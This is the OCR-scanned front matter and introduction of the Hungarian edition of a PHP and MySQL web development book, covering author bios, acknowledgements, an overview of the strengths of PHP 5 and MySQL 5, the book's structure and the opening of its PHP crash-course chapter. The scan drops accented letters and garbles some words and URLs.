s a Tangled Web Design egyik vezetjeknt tevkenykedett. Rendszeresen dolgozik egytt az RMI T Universiry-vel s a Boston Consuleing GrouppaLAl kalmazorc tudomnyokbl (informatika), illerve informatikai mrnki terleten szerzere egyetemi diplomt. Szabadidejben szvesen lovagol, rvel az ingyenes s nylt forrskd szoftverek mellett, s nagyon szeret aludni.

Luke Weiling webes fejleszt az OmniTI-nLA nylt forrskd s webes fejlesztsekkel foglalkoz konferencik, gy egye
bek kzte az OSCON, a ZendCon, a MySQLUC, a PHPCon, az OSDC s a LinuxTag rendszeres eladja.Az OmniTI eltt a webes anatikval foglalkoz Hicwise.com-nl, az adatbzis-fejleszt MySQL AB-nl, illetve fggetlen tancsadknt a Tangled Web Designnl dolgozort.Alkalmazott tudomnyok (informatika) diplomt szerzerc, s informatikt oktatott a Mel bourne-i RMI T Universiry-n. Szabadidejben az lmadansgt prblja meg tklyre fejleszteni.

Trsszerzk Julie C. Meloni a Los Altos-i (Kalifornia) szkhely i2i I nteractive (www.i2ii.com) multimdis vllalat mszaki igazgatja.
Az internet megszletse ta fejleszt webalap alkalmazsokat, s soha nem fogja elfelejteni az els grafikus kezelfellet bngszt vez izgalmakat. Szmos knyvec s cikket rt a webalap programozsi nyelvek s az adatbzisok tmakrben, amelyek kzl rdemes megemliteni a Sams Teach Yourself PHP. MySQL, and Apache Ali in One cm kiadvnyt.

Adam DeFields webes alkalmazsfejlesztsre s projektmenedzsmentre szakosodott tancsad.A Michigan llambeli


Grand Rapidsben l, ahol 2002-ben alaptott sajt cgt irnytja (Emanation Syscems, LLC - www.emanationsyscemsllc. com). Szmtalan, klnbz technolgira pt webfejlesztsi projekeben rszt vere, de leginkbb a PHP /MySQL alap fej lesztsi munkkat kedveli.

Marc Wandschneider szabadsz fejleszt, szerz s elad, aki a vilg szmtalan klnbz pontjn dolgozott mr rdekes
projektekben. Utbbi vekben idejnek nagy rszt arra fordtja, hogy robusztus s sklzhat webes alkalmazsokat fejlesszen. 2005-ben rta Core Web Application Programming with PHP and MySQL cm knyvt. Korbban a SWiK (http:/ /swik.net) nylt forrs kzssgi oldal vezet fejlesztje volt. Marc jelenleg Pekingben l, ahol a knai nyelvet tri, s programoz.

Ksznetnyilvnts
Szeretnnk ksznetet mondani a Pearson csapatnak kemny munkjrt. Kln ksznjk Shelley Johnstonnak, akinek ldozatvllalsa s trelme nlkl a knyv els hrom kiadsa nem szlethecett volna meg. s Mark Tabernek, aki a negyedik kiadsnl tvette Shelley munkjt. Nagyra rtkeljk a PHP- s MySQL-fejleszti csapatok ltal vgzere munkt. Sok ve knnycik meg a dolgunkat, s gy lesz ez a jvben is rninden nap. Ksznjk az eSec-nl dolgoz Adrian Close-nak, arnirt mg 1998-ban azt mondta:.,Ezt meg tudjtok csinlni PHP-ben:' gy vlte, szeremi fogjuk a PHP-t, s azt kell mondanunk, igaza lett. Vgezetl szeretnnk ksznetet mondani csaldunknak s bartainknak, akik elviselik antiszocilis viselkedsnket, amg knyveinken dolgozunk. Kln ksznjk Nektek, hogy segtetek csaldtagjainknak: Julie, Robert, Martin, Lesley, Adam, Paul, Archer s Barton.

A magyar kiadshoz
A knyv pldinak forrskdja s a mellklecek letlthetk regisztrci utn a www.perfacrkiado.hu/melleklecek oldalrl. A knyvben hasznlt, jelenleg ingyenes szoftverek szintn letlthetek weboldalunkrl (www.perfacckiado.hu/melleklecek). rdemes azonban az interneten megkeresni ezen szoftverek frisstseit, jabb verziit s azokat hasznlni.

Segovia vzvezetke a rmai ptszet egyik legnagyszerbb, a mai napig meglv memlke. Traianus csszr uralkodsa alatt, az idszmtsunk szerinti els szzadban plt vezetk feladata az volt, hogy vizet szlltson a ma Sierra de Guadarrama n ven ismert hegy lbtl az onnan mintegy 18 kilomter tvolsgra lv hispniai vrosba, Segoviba. Az ptmnyt tbb mint hszezer, kzzel vgort grnittmbbl emeltk, s sem cementet, sem kapcsokat nem hasznltak a tmbk rgztsre. A vzvezetknek a vros kzppontjn thalad, 278 mrer hossz szakasza duplasoros boltvekkel rendel kezik, amelyek a fldtl 34 mrer magasan futva elegns kpet klcsnznek az urcknak. A termszet s az ember okozta viszontagsgoknak krezer ve ellenll ptmny az emberi gyessg idrlen pldja: a mai napig hozzjrul a vros vzellrshoz.

Bevezets

Kszntjk a PHP s

MYSQL webfejlesztknek cm kiadvnyunk olvasit! Knyvnk oldalaiba igyekeztnk belesrteni

a PHP s a MySQL- napjaink kt legelterjedtebb webfejleszt eszkznek- hasznlata sorn szerzett minden tudsunkat. A bevezetsben az albbiakrl lesz sz: Mirt rdemes elolvasni a knyvet? Mire lesznk kpesek a knyv segtsgve!? Mi a PHP s a MySQL,s mirt olyan nagyszerek? Mi vltozott a PHP s a MySQL legutols verziiban? Hogyan pl fel a knyv? Vgjunk bele!

Mirt rdemes elolvasni a knyvete


Knyvnk megranrja, hogyan hozzunk ltre interaktv weboldalakat - legyen az a legegyszerbb rendelsi rlap vagy ssze tett, biztonsgos e-kereskedelmi portl,esetleg interaktv Web 2.0-s oldal. Radsul rnindezt nylt forrskd technolgik hasznlatval tanuljuk meg ellltani. A knyv azon olvasknak szl, akik legalbb a HTML alapjaival tisztban vannak,s korbban legalbb alapsznten prog ramoztak valamilyen modern programozsi nyelvben - mg ha az nem is felttlenl internetes programozs volt-,vagy dol goztak mr relcis adatbzissal. Kezd programozk is minden bizonnyal hasznosnak fogjk tallni a ktetet, de nekik kicsit tovbb tarthat az itt lertak megemsztse. Megprbltunk egyetlen alapfogalmat sem kihagyni,m viszonylag gyorsan vesszk t ket. A knyv azokat clozza meg, akik sszetett vagy zleti weboldal ltrehozsa szndkval kivnjk magas szinten elsa jttani a PHP-t s a MySQL-t. Amennyiben dolgoztunk mr ms webfejleszt nyelvvel,akkor a ktet olvassa sorn gyorsan kpbe kerlhetnk. A knyv els kiadst annak idejn azrt rtuk meg,mert elegnk volt abbl,hogy csak olyan PHP knyveket talltunk, amelyek fggvnyek referenciagyjtemnyeknt szolgltak. Az ilyen kiadvnyok is hasznosak,m nem sokat segtenek,amikor a fnk vagy az gyfl azt kri,hogy .. kszts nekem bevsrlkosaras online boltot': Ebben a knyvben minden tlnk telhett megrettnk, hogy hasznos pldkkal lljunk el. Szmtalan kd kszen ll arra, hogy az olvas sajt weboldaln azonnal alkal mazza azokat,rnig a tbbi aprbb mdostsok utn lesz hasznlhat.

Mit tanulhatunk a knyvbH


Ha elolvassuk,kpesek lesznk valban dinamikus weboldalakat pteni. Ha ksztettnk mr honlapokat egyszer HTML hasznlatval, minden bizonnyal beletkztnk mr ennek a megkzeltsnek a korltaival. A tisztn HTML weboldal stati kus tartalma pontosan ilyen - statikus. Amg fizikailag nem frissrjk,ugyanaz marad. Ltogati semmilyen interaktv mdon nem lphernek kapcsolatba az oldallal. Ha olyan nyelvet s adatbzist hasznlunk, mint a PHP, illerve a MySQL, dinamikuss, vagyis testre szabhatv s vals idej informcikban gazdagg tehetjk oldalainkat. A knyvben szndkosan hasznlunk - mg az alapoz fejezetekben is- a val vilgbl vett alkalmazsokat. Kezdskppen rteleintnk egy egyszer online rendelsi rendszert, s trgjuk magunkat a PHP s a MySQL klnbz terletein. Ezt kveten klnbz szempontok szerint megvizsgljuk az elektronikus kereskedelmet s ehhez kapcsoldan a bizton sgot, illerve azt, hogy miknt jnnek ezek el valdi weboldal elksztsekor. Azt is megmutatjuk,hogyan lehet az itt megfo galmazott elvrsokat PHP-ben s MySQL-ben megvalstani. A knyv utols rszben ttekintjk, hogyan rdemes kzelreni az igazi projektekhez,s vgigmegynk az albb felsorolt projektek elksztsi, tervezsi s megvalsrsi szakaszn: Felhasznlk hitelestse s szemlyre szabott tartalom a hitelests alapjn Bevsrlkosaras online bolt

B evezets

Webalap levelezalkalmazs Levelezlista-kezelk Online frumok PDF dokumentumok ellltsa Webszolgltatsok XML-lel s SOAP-pal Web 2.0-s alkalmazs ltrehozsa Ajaxszal Ezen projektek rnindegyike a knyvben megtallhat llapotban is mkdik, de termszetesen egyni ignyeinknek meg felelen mdosthatk. Azrt ezekre esett a vlasztsunk, mert meglrsunk szerint ezek tartoznak a programozk ltal leg gyakrabban fejlesztert webes alkalmazsok kz. A knyv ugyanakkor ezektl eltr ignyek esetn is nagy segtsget jelenther cljaink elrsben.

MiaPHP
A PHP kifejezetten az internetre kifejlesztett, szerveroldali szkriptnyelv. A HTML oldalakba az oldal minden egyes megnyi tsakor lefut PHP kdot gyazhatunk. A PHP kd rtelmezse a webszerveren trtnik, ami a ltogat ltal megtekinthet HTML-t vagy egyb kimenetet hoz ltre. A PHP els verzija 1994-ben kszlt el, s eredetileg egyetlen ember, Rasmus Lerdorf munkja volt. Ms tehetsges emberek is elkezdtek dolgozni vele, s ngy jelents jrarson ment keresztl, amg elrkeztnk a jelenleg szles krben hasz nlhat, rett termkhez. 2007. jliusi adatok szerint vilgszerte tbb mint 21 milli domanre teleptertk, s ez a szm igen gyorsan n. (A PHP terjedsnek aktulis llst a http://www.php.net/usage.php oldalon tekinthetjk meg.) A PHP nylt forrskd projekt, ami azt jelenti, hogy brki hozzfrher a forrskdhoz, s ingyenesen hasznlhatja, mdo sthatja, illetve terjesztheti azt. A PHP erederileg a Personal Home Page (szemlyes honlap) rvidtse volt, de a GNU rekurzv rvidtsnek (GNU= Gnu's Not Unix, azaz a Gnu nem Unix) elfogadsval egytt ez is megvlrozort, s most a PHP Hypertext Preprocessor (PHP hiperszveg elfeldolgoz) kifejezs rvidtst jelenti. A PHP jelenlegi f vltozata az 5-s. Ezt a verzit a nyelv mgtt ll virtulis gp, a Zend motor teljes jrarsa, illetve a nyelv nhny jelents javtsa jellemzi. A PHP honlapja a htrp://www.php.net cmen rhet el. A Zend Technologies weboldala a http://www.zend.com.

MiaMySQU
A MySQL egy nagyon gyors, srabil, relcis adatbzis-kezel rendszer (angol rvidtssel RDBMS). Az adatbzis lehetv teszi az adatok hatkony trolst, keresst, rendezst s kinyerst. A MySQL kiszolgl az adatokhoz val hozzfrst szablyozva biztostja, hogy egyidejleg tbben is hasznlhassk az adatokat, gyorsabb hozzfrst knl hozzjuk, s garan tlja, hogy csak a jogosult Felhasznlk szerezhetnek hozzfrst. Ezrt a MySQL rbbfelhasznls, tbbszl kiszolgl.
Strukturlt lekrdez nyelvet (Structured Query Language- SQL), a szabvnyos adatbzis-lekrdez nyelvet hasznlja.

A MySQL 1996 ta elrhet a nyilvnossg szmra, de fejlesztsi trtnete 1979-ig nylik vissza. A vilg legnpszerbb nylt forrskd adatbzisa, amely szmtalan alkalommal elnyerte a Linux Journal szaklap "Readers' Choice Award" -jt (Ol vasink vlasztsa djt). A MySQL ketts licencelsi rendszerben rhet el. Amennyiben elfogadjuk a nylt forrskd licenc (a GPL) feltteleit, ingye nesen hasznlhatjuk. Ha MySQL-t tartalmaz nem GPL alkalmazst kvnunk terjeszteni, fizets licencet kell vsrolnunk. A MySQL honlapja a http://mysql.com cmen rhet el.

Mirt hasznljunk PHPt s MySQLt


Ha weboldalfejlesztsre adjuk a fejnket, szmralan termk kzl vlaszthatunk Az albbi kategrikban kell dntst hoznunk: A webszervert futtat hardver Opercis rendszer A webszerver szoftvere Adatbzis-kezel rendszer Programozsi vagy szkriptnyelv Az egyes vlasztsok sszefgghetnek egymssal. Pldul nem mindegyik opercis rendszer fut brmilyen hardveren, nem rninden webszerver tmogatja az sszes programozsi nyelvet stb.

Bevezets

Ebben a knyvben alig foglalkozunk a hardverrel, az opercis rendszerekkel vagy a webszerver szaftverveL Nincs r szk sgnk. A PHP s a MySQL egyik legnagyszerbb tulajdonsga, hogy minden f opercis rendszeren, st a kisebbek kzl is sok rendszeren hasznlhat. A PHP kdok nagy rsze megrhat gy, hogy opercis rendszerektl s webszerverektl fggetlenl futtathat legyen. Egyes PHP fggvnyek az opercis rendszertl fgg fjlrendszerhez ktdnek, m ezeket egyrtelmen megjellik a kzi knyvekben, s mi is jelezzk, amikor ilyennel dolgozunk. Akrmilyen hardvert, opercis rendszert s webszervert vlasszunk is, szeriotnk mindenkppen rdemes a PHP s a MySQL mellett dnteni.

A PHP legfbb erssgei


A PHP elsdleges versenytrsai a Perl, a Microsoft ASP.NET, a Ruby (Rails keretrendszeren vagy msknt), aJavaServer Pages (JSP) s a ColdFusion. Ezekkel sszehasonlrva a PHP-nak szmos erssge van, amelyek kzl a legfontosabbak: Teljestmny Sklzhatsg Csatlakozsi lehetsg (interfsz) szmtalan klnbz adatbzisrendszerhez Beptett knyvtrak a leggyakoribb webes feladatokhoz Alacsony kltsg Egyszer elsajtthatsg s hasznlhatsg Objektumorientlt programozs szles kr tmogatsa Hordozhatsg (platformfggetlensg) A fejleszti megkzelts rugalmassga Hozzfrhet forrskd Hozzfrhet tmogats s dokumentci Fejtsk ki ezeket az erssgeket kicsit bvebben is!

Teljestmny

A PHP nagyon gyors. Mg egyszer, olcs szervert hasznlva is tbb milli letltse szolglhatunk ki naponta. A Zend Technolo gies (http://www.zend.com) ltal publiklt sszehasonlt adatok alapjn a PHP nagyobb teljestmnyre kpes versenytrsainl.

Sklzhatsg

A PHP-Rasmus Lerdorf szavaival lve-.,megosztott elem nlkli" (shared-nothing) archicektrval rendelkezik. Ez azt jelenti, hogy hatkonyarr s olcsn, akr belp szint szerverekkel is lehet horizontlisan bvteni.

Adatbzis-integrci

A PHP szmos adatbzisrendszerhez tud natv mdon kapcsoldni. A MySQL-en tlmenen kzvetlenl kapcsoldhatunk egyebek kztt PostgreSQL, Oracle, dbm, FilePro, DB2, Hyperwave, lnformix, lnterBase s Sybase adatbzisokhoz. A PHP 5-s verzija SQLite nev, beptett SQL fellettel rendelkezik az egyszer fjlokhoz. Open Database Connectivity Standard (ODBC), vagyis nylt adatbzis-kapcsols hasznlatval brmilyen, ODBC driverrel rendelkez adatbzishoz kapcsoldhatunk. Sok egyb mellett a Microsoft-termkek tartoznak ide. A PHP-hoz a natv knyvtrak mellett PHP Database Objects (PDO), azaz egy PHP adatbzis-objektumok nev adatbzis absztrakcis rteg is tartozik, amely kvetkezetes hozzfrst tesz lehetv, s elsegti a biztonsgos programozsi megoldsok hasznlatt.

Beptett knyvtrak

Mivel a PHP-t interneten val hasznlatta alaktottk ki, szmtalan beptett fggvnnyel rendelkezik a klnfle, internettel kapcsolatos feladatok elvgzsre. Mindssze nhny sornyi kdra van szksg ahhoz, hogy menet kzben lltsunk el kpeket, webes vagy egyb hlzati szolgltatsokhoz kapcsol<ljunk, XML-t rtelmezznk, e-mailt kldjnk, stikkel (cookie-kkal) dolgozzunk, vagy PDF dokumeorumokat hozzunk ltre.

Bevezets

Kltsg
A PHP ingyenes. Legfrissebb vltozata brmikor letlthet a http:/ /www.php.net oldalrl.

Egyszer megtanulhatsg
A PHP szintaktikja ms programozsi nyelvekre, elsdlegesen a C-re s a Perire pl. Ha mr ismerjk ezeket vagy olyan C-szer nyelveket, mint a C++ vagy a Java, akkor szinte azonnal eredmnyesen tudjuk hasznlni a PHP-t is.

Objektumorientlt programozs tmogatsa


A PHP 5-s verzija jl kialaktott objektumorientlt fUnkcikkal rendelkezik. Aki tanult mr Javban vagy C++-ban progra mozni, a vrt fUnkcikkal (s ltalban a vrt szintaktikval) fog tallkozni. Pldul rklsset privt s vdett tulajdonsgok kal s metdusokkal, absztrakt osztlyokkal s metdusokkal, interfszekket konstruktorokkal s destruktorokkal. Nhny kevsb gyakori fUnkcit is tallunk, ide sorolhatjuk pldul az itertorokat. Mindezek egy rsze mr a PHP 3-as s 4-es verzi jban is elrhet volt, de az 5-s vltozatban sokkal teljesebb lett az objektumorientlt tmogats.

Hordozhatsg (platformfggetlensg)
A PHP szmtalan opercis rendszeren elrhet. PHP kdot rhatunk olyan ingyenes Unix-szer opercis rendszerekre, mint a Linux s a FreeBSD, fizets Unix-vltozatokra-pldul Solaris s IRIX rendszerekre-, OS X-re vagy a Microsoft Windows klnbz vltozataira. A jl megtt kdok jellemzen mdosts nlkl mkdnek a PHP-t fUttat klnbz rendszereken.

fejleszti megkzelts rugalmassga

A PHP lehetv teszi az egyszer feladatok egyszer megvalstst. De ugyanilyen knnyen szolglja nagy alkalmazsok olyan megvalsrst is, amely tervezsi mintkra - pldul Model-View-Controller (MVC) mintra- pl keretrendszer hasznlatval trtnik.

Forrskd
A PHP forrskdja hozzfrhet. A fizets, zrt forrskd termkekkel ellenttben, ha szeretnnk mdostani valamit a PHP-n, vagy hozzadnnk valamit a nyelvhez, nyugodtan megtehetjk. Nem kell vrnunk, mg a gyrt megjelenteti a javt sokat. Attl sem kell tartani, hogy a gyrt felhagy az zlettel, vagy gy dnt, abbahagyja a termk tmogatst.

Tmogats s dokumentci elrhetsge


A PHP-t mkdtet motor mgtt ll cg, a Zend Technologies {www.zend.com) a kereskedelmi alapon knlt tmogatsbl s kapcsold szoftverekbl fedezi a PHP fejlesztseit. A PHP-dokumentci s -kzssg rett s gazdag informciforrs, amely rengeteg, megosztsta vr tartalommal br.

Melyek a PHP 5 jdonsgai


A felhasznJk tbbsge minden bizonnyal nemrgiben vltott a PHP valamelyik 4.x verzijrl PHP 5-re. Ahogy egy j fverzitl elvrhat, ez is jelents vltozsokat tartalmaz. A PHP mgtt ll Zend motort rtk ehhez a verzihoz. A leg fontosabb j jellemzk a kvetkezk: Teljesen j objektummodell kr ptett, tovbbfejlesztett objektumorientlt tmogats (lsd az Objektumorientlt PHP cm 6. fejezetet!) Kivtelek a sklzhat, fenntarthat hibakezelshez { lsd a Hiba- s kivtelkezels cm 7. fejezetet!) SimpleXML az XML adatok knny kezelhetsgrt (lsd a Kapcsolds webszolgltatsokhoz XML s SOAP haszn
latval cm 33. fejezetet!)

A tovbbi vltoztatsok kz tartozik egyes kiterjesztsek thelyezse az alaprtelmezett PHP-teleptsbl a PECL knyv trba, az adatfolyamok jobb tmogatsa s az SQLite hozzadsa.

Bevezets

A knyv rsakor a PHP 5.2-es volt a legjabb vltozat, de mr kzelgett a PHP 5.3. A PHP 5.2 szmos hasznos j funkci val rendelkezett: Bizronsgi clokra hasznlhat j beviteli szr

JSON kirerjeszts a JavaScript interoperabilitsrt Fjlfeltltsi folyamat nyomon kvetse Jobb dtum- s idkezels Szmos frisstett kliensknyvtr, teljestmnyfejleszrsek (pl. jobb memriakezels a Zend motorban) s hibajavtsok

A PHP 5.3

fbb jellemi

Olvashatrunk mr a PHP j fvltozatrl, a PHP 6-rl is. A knyv rsa idejn ez mg nem volt a megjelens kzelben, s a hosting szolgltatk mg j ideig biztosan nem fogjk tmeges hasznlat cljbl telepteni. Ugyanakkor a PHP 6-os verzi jba tervezett szmos funkci megtallhat a PHP 5.3-as verzijban is, amely alverzi kzelebb ll az elfogadshoz, s gy ahhoz is, hogy a hosting szolglratk telepteni kezdjk (ha mi magunk kezeljk a szervernket, akkor termszetesen brme lyik neknk tetsz verzit relepthetjk). A kvetkezkben a PHP 5.3 funkcii kzl sorolunk fel nhnyat; a knyv megfelel oldalain tovbbi informcit tallunk majd velk kapcsolatban: Nvterek tmogatsa; tovbbi informcirt lsd: http://www. php.net/language.namespaces Az ind kiterjeszts tmogatsa az alkalmazsok nemzetkziestshez; tovbbi informcirt lsd: http://www.php.net/ manual/ en/intro.ind.php A phar kirerjeszts tmogatsa beptett PHP tmrt alkalmazs ltrehozsra; tovbbi informcirt lsd: hrtp:/l www.php.net/book.phar A lileinfo kiterjeszts tmogatsa a jobb fjlkezels rdekben; tovbbi informcirt lsd: http://www.php.net/manual/ en/book.lileinfo.php A sqlire3 kirerjeszts tmogatsa a SQLite begyazhat SQL adatbzismoror hasznlathoz; tovbbi informcirt lsd: http://www.php.net/ manual/en/class.sqlire3.php A libmysql-t felvlt MySQLnd driver tmogatsa; tovbbi informci: http://forge.mysql.com/wiki/PHP_MYSQLND A fenti lista a PHP 5.3 szlesebb krben ismert j funkciit tartalmazza, ugyanakkor a verzi a mr korbban is meglv funkcikon vgzett szmos hibajavtssal, karbantartssal, frisstssei is bszklkedhet: A Windows 2000-nl rgebbi Windows-verzik (pldul Windows 98 and NT 4) tmogatsnak megszntetse A PCRE, Reflection s SPL kiterjeszts lland elrhetsgnek biztostsa A dtumokkal val szmolst s a dtumkezelst megknnyt dtum- s idfggvnyek hozzadsa A crypt(), hash() s md5() funkci mkdsnek, illetve az OpenSSL kirerjesztsnek a tovbbfejlesztse A php.ini adminisztrlsnak s kezelsnek fejlesztse, egyebek kzte jobb hibajelentsekkel A Zend motor finomhangolsnak folytatsa a gyorsabb PHP-futsi sebessg s memriahasznlar rdekben

MySQL legfbb erssgei


A MySQL szmos erssggel br, kzrk a kvetkezkkel: Nagy teljestmny Alacsony kltsg Egyszer kanfigurlhatsg s elsajtthatsg Hordozhatsg (plarformfggetlensg) Forrskd elrhetsge Tmogars elrhetsge Tekintsk t most ezeket az erssgeket kicsit rszleresebben is!

A MySQL elsdleges versenytrsai a PostgreSQL, a Microsofr SQL Server s az Oracle.

Teljestmny
A MySQL vitathatatlanul gyors. A fejlesztk benchmark- azaz viszonyrsi rtkeket mutat- oldalt a http://mysql.com/ why-mysql/benchmarks cmen rhetjk el. Az rtkek nagy rsze azt mutatja, hogy a MySQL nagysgrendekkel gyorsabb versenyrrsainl. 2002-ben az eWeek ugyanazt a webes alkalmazst hasznlva sszehasonltott t adatbzist. Az eredmny dntetlen lett a MySQL s a nla sokkal drgbb Oracle kztt.

Bevezers

Alacsony kltsg
A MySQL nylt forrskd licenccel ingyenesen, kereskedelmi licenccel pedig alacsony ron hasznlhat. Amennyiben a MySQL-r valamely alkalmazs rszeknt s nem Open Source licenccel szeretnnk terjeszteni, akkor fizets licencre van szksgnk.Ha nem kvnjuk alkalmazsunkat terjeszteni - s a webes alkalmazsok tbbsgvel ez a helyzet -, illetleg in gyenes vagy nylt forrskd szoftveren dolgozunk, nem szksges licencet vsrolnunk.

Egyszer hasznlhatsg
A legtbb modern adatbzis SQL-t hasznl. Ha dolgozrunk mr ms relcis adatbzis-kezel rendszerrel, akkor nem fog gondot okozni, hogy hozzszokjunk a MySQL-hez, amely radsul a tbbi hasonl termknl egyszerbben bellthat.

Hordozhatsg (platformfggetlensg)
A MySQL szmtalan klnbz Unix-rendszeren, illetve Microsoft Windows alatt is hasznlhat.

Forrskd
Akrcsak a PHP, a MySQL forrskdja is beszerezhet s mdosthat. Ez ugyan a felhasznlk tbbsgnek ltalban nem szempont, a tudat mgis megnyugtat, mert garantlja a folytonossgot, s vszhelyzet esetn van hova nylni.

Tmogats elrhetsge
Nem minden nylt forrskd termkhez tartozik olyan anyavllalat, amely tmogatst, kpzseket, tancsadst s minstse ket ad, m a MySQL AB (www.mysql.com) mindezr az elnyt knlja a felhasznlk szmra.

Melyek a MySQL 5 jdonsgai


A MySQL 5-ben megjelent fbb vltoztatsok: Nzetek Trolt eljrsok (lsd a Rekordmutat-kezels A tovbbi vltozsok kz tartozik az ANSI szabvnynak val jobb megfelels s a futsi sebessg nvekedse. Amennyiben az olvas MySQL szerver egy korai 4.x verzijt vagy valamely 3.x verzijt hasznlja, rdemes tudni, hogy a 4.0-tl kezdve az albbi funkcikkal egsztettk ki a termket: Egymsba gyazott lekrdezsek tmogatsa GIS tpusok a fldrajzi adatok tmogatsra Nemzetkziests jobb tmogatsa A tranzakcibiztos InnoDB trolmotor alaprtelmezetren elrhet A MySQL lekrdezsi gyorstmernria (query cache) jelentsen nveli a webes alkalmazsok ltal gyakran futtatott, ismtld lekrdezsek sebessgt A knyver a MySQL 5.1-es (Beta Community Edition) verzijt hasznlva rtuk. Ez a vltozat mr az albbiak tmogatst is tartalmazza: P artcionls Soralap replikci Esemnytemezs Naplzs tblzatokba A MySQL Cluster (az adatbzis adatait tartalmaz ler) s a biztonsgi ments folyamatainak fejlesztsei, illetve sz mos hib;yavts

Halad MySQL programozs cm 13. fejezetet!)

Adatbzisok alapszint finomhangolsi lehetsgeinek tmogatsa

Bevezets

Hogyan pl fel a knyv:


t nagy rszbl ll: Az els rsz, A PHP hasznlata pldkon keresztl mutatja be a PHP programozsi nyelv legfontosabb alkotelemeit. Minden plda a val vilgbl, egy e-kereskedelmi oldal ltrehozsbl szrmazik, nem pedig"jtk" kd. Ez a rsz a PHP gyorstalpal cm fejezettel indul. Aki korbban is hasznlt mr PHP-t, annak elg gyorsan tfueni ezt a fejezetet. Kezd PHP felhasznlknak vagy programozknak azonban rdemes kicsivel tbb idt sznni r. Ha elg jl ismerjk mr a PHP-t, de nem hasznltuk mg az 5-s verzijt, hasznosnak talljuk majd a hatodik, Objektumorientlt PHP cm fejezetet is, mert az objektumorientlt funkcik jelentsen megvltoztak ebben a verziban. A msodik rsz, A MySQL hasznlata a MySQL s a hozz hasonl relcis adatbzisrendszerek hasznlata sorn elfor dul fogalmakat, az SQL hasznlatr, a MySQL adatbzisunkhoz val csatlakozs menett, illetve olyan halad MySQL-es tmkat mucat be, mint a biztonsg s az optimalizls. Az E-kereskedelem s biztonsg cm, harmadik rszben a webfejleszts brmely programozsi nyelvnl eljv ltalnos krdseivel foglalkozunk. A legfontosabb ilyen tma a biztonsg. Ezt kveten ttekintjk, hogyan hasznljuk a PHP-t s a MySQL-t felhasznlink hitelestsre, illetve biztonsgos adatgyjtsre, -tovbbtsra s -trolsra. A negyedik, Halad PHP mdszerek cm rszben rszletesebben megtrgyaljuk a PHP fbb beptett fggvnyeit. Olyan fggvnycsoportokat vlogattunk ssze, amelyeket weboldalak ltrehozshoz a leghasznosabbnak vltnk. Egyebek kzte a szerver s a hlzat elrsrl, kpalkotsrl, drum- s idkezelsrl, illetve a munkamener (session) -vlcozkrl olvasha runk itt. Kedvenc rsznk az tdik, a Gyakorlati PHP s MySQL projektek fejlesztse cm. A val vilgbl vett gyakorlati krdsekkel foglalkozik, mint pldul a nagy projektek kezelse vagy a hibakeress, illetve olyan mintaprojekteket mutat be, amelyek a PHP s a MySQL erejt s sokoldalsgt tmasztjk al.

Vgezetl
Remljk, a Kedves Olvas legalbb annyira lvezni fogja a knyvet, illetve a PHP s a MySQL elsajttst, rnint amennyire a szerzk, amikor elkezdtk hasznlni ezeket a termkeket. Hasznlatuk tnyleg rm. Rvidesen az olvas is csatlakozhar a tbb ezer webfejleszrhz, aki ezekkel a srabil s hatkony eszkzkkel pt dinamikus, napraksz informcikar tartalmaz weboldalakar.

Kedves Olvas!
Szecernnk megksznni, hogy kiadvnyunkat vlasztotta a PHP s a MySQL megismershez. A knyvben szerepl pldk hoz tartoz forrskdokat s mellklereker regisztrci urn letltheti a www.perfactkiado.hu/melleklerek oldalrl. A knyv ben hasznlt, jelenleg ingyenes szofrverek szintn letlthetek weboldalunkrL rdemes azonban az interneten megkeresni ezen szofrverek frissrseir, jabb verziit s azokar hasznlni.
A kiad, a fordt s a szakmai lektor

I
A PHP hasznlata

PHP gyorstalpal

Adatok trolsa s visszakeresse

Tombk hasznlata

Karakterlncok kezelse s regulris kifejezsek

Kd tbbszri felhasznlsa s fggvnyrs

Objektumorientlt PHP

Hiba, s kivtelkezels

l
PHP gyorstalpal
A fejezet rviden ttekinti a PHP szintaktikjt s nyelvi alkotelemeit. PHP-ben mr programoz olvasinknak is rdemes tfutni, mett alkalmas lehet a tudsukban lv fehr foltok eltntetsre. Ha jrtasak vagyunk a C, a Perl Active Server Pages (ASP) vagy egyb programozsi nyelvben, akkor a fejezetben lertak segtsgvel gyorsan kpbe kerlhetnk a PHP-t illeten is. A knyvben a vals letbl szrmaz, a szerzk igazi weboldalak ltrehozsa sorn szerzert tapasztalatai alapjn sszell tott pldkan vggmenve fogjuk elsajttani a PHP hasznlatr. A programozsi szakknyvek igen gyakran nagyon egyszer pldkan keresztl tantjk meg az alapvet szintaktikt. gy dntttnk, hogy ms utat vlasztunk. Az olvasknak azt kell megrtenik, hogyan mkdik a nyelv, nem a szintaktikt s a fiiggvnyeket felsorol jabb referenciaknyvre van szksgk, ami semmivel sem tud tbbet, mint az online kziknyv. Prbljuk ki a pldkat! Gpeljk be vagy tltsk le a http://www.perfactkiado.hu/mellekletek oldalrl, vltoztassuk meg, rontsuk el, majd prbljuk megjavtani azokat! A fejezet elszr is egy online termkrendel rlap pldjn keresztl mutatja be a vltozk, a mveleti jelek (opertorok) s a kifejezsek PHP-beli mkdst. A vltoztpusokat s az opertorok Icirtkelsi sorrendjt is ttekintjk. Az gyfl meg rendelsn a vgsszeget s az adtartalmat kiszmtva megtanulj uk, hogyan rhetjk el s kezelhetjk az rlapvltozkat. Ezt kveten a beviteli adatokat ellenrz PHP kd hasznlatval online rendelsi rlapot fejlesztnk. Megvizsgljuk a Boole-vltozk fogalmt, majd if s else parancsokat, a?: mveleti jelet s a switch utastst hasznl pldkat nznk t. Vgl ismtld HTML tblzatokat generl PHP kd rsa kzben megismerkednk a ciklusokkaL A fejezetben az albbi fbb tmakrkkel foglalkozunk: PHP begyazsa HTML-be Dinamikus tartalom hozzadsa rlapvltozk elrse Azonosrk Felhasznl ltal deklarlt vltozk ltrehozsa Vltoztpusok ttekintse rtk hozzrendelse vltozkhoz llandk deklarlsa s hasznlata Vltozk hatkre Opertorok s mveletek kirtkdsi sorrendje Kifejezsek kirtkelse Fggvnyvltozk hasznlata Elgazsok if, else s switch utastsokkal Itercik alkalmazsa while, do s for ciklusokkal

Kezds eltt:

PHP elrse

